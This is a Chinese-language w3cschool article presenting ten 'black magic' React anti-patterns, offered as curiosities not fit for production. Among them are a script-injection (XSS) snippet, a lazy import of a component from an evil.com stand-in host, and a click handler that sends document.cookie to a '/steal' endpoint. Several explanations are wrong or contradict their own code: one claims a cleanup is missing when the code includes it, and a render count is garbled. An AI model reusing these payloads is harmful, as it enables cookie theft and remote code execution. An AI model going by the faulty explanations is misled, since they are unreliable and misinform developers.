邪修 React 10 連擊｜無限渲染黑洞、遠(yuǎn)程木馬、HOC 套娃

編程獅（w3cschool.cn） 2025-08-07 17:58:06 瀏覽數(shù) (348)

反饋

邪修 React，10 段“千萬別上生產(chǎn)”的黑魔法代碼
——僅供技術(shù)獵奇，切勿真用！

?? 每條都可能：死循環(huán)、內(nèi)存泄漏、調(diào)試器崩潰、Fiber 打結(jié)、面試管鼓掌

面試炫技 OK，項(xiàng)目敢用就等死！

1?? 單組件一行毀滅

export default () => <div dangerouslySetInnerHTML={{ __html: '<script>alert(1)</script>' }} />;

dangerouslySetInnerHTML 直接塞腳本，XSS 一鍵觸發(fā)。

2?? 無限渲染黑洞

export default function App() {
  const [n, setN] = React.useState(0);
  React.useEffect(() => setN(n + 1), [n]); // 每渲染一次再渲染
  return <h1>{n}</h1>;
}

沒有終止條件，F(xiàn)iber 在 16 ms 內(nèi)無限工作，瀏覽器秒卡死。

3?? 全局 Context 污染

const EvilCtx = React.createContext();
export default function Root() {
  return (
    <EvilCtx.Provider value={window}>
      <App />
    </EvilCtx.Provider>
  );
}

把 window 塞進(jìn) Context，任何地方都能直接操作 DOM，破壞單向數(shù)據(jù)流。

4?? 動態(tài)遠(yuǎn)程組件木馬

const RemoteComp = React.lazy(() => import('https://evil.com/comp.jsx'));
export default () => (
  <Suspense fallback="loading...">
    <RemoteComp />
  </Suspense>
);

運(yùn)行時拉取遠(yuǎn)程組件，Webpack 攔不住，CSP 形同虛設(shè)。

5?? `key={Math.random()}` 性能核彈

function List() {
  return [1, 2, 3].map(i => <li key={Math.random()}>{i}</li>);
}

每次渲染隨機(jī) key，DOM 全部重建，性能瞬間歸零。

6?? 深度嵌套 `useState` 黑洞

function useEvil(obj) {
  const [state, setState] = React.useState(obj);
  return [state, setState];
}
const [s] = useEvil({ a: { b: { c: { d: 1 } } } });

四層嵌套對象，每次更新觸發(fā) 2? 次渲染。

7?? 自定義 Hook 副作用地獄

function useEvil() {
  React.useEffect(() => {
    const id = setInterval(() => console.log('??'), 1);
    return () => clearInterval(id); // 忘記清理 → 內(nèi)存泄漏
  });
}

1 ms 定時器永不清理，Node 直接 OOM。

8?? 通配符路由炸彈

<Routes>
  <Route path="*" element={<Lazy404 />} /> {/* 任意路徑都加載 */}
</Routes>

任何 404 都懶加載，首屏雪崩。

9?? 高階組件（HOC）套娃

const withLog = C => props => <C {...props} />;
const withEvil = C => withLog(withLog(withLog(C)));
export default withEvil(App);

三層 HOC 套娃，props 鏈路 3 倍長，調(diào)試器原地爆炸。

?? 運(yùn)行時 JSX 編譯木馬

const evil = `
  <div onClick={() => fetch('/steal?cookie=' + encodeURIComponent(document.cookie))}>
    點(diǎn)我
  </div>
`;
ReactDOM.render(
  React.createElement('div', { dangerouslySetInnerHTML: { __html: evil } }),
  document.getElementById('root')
);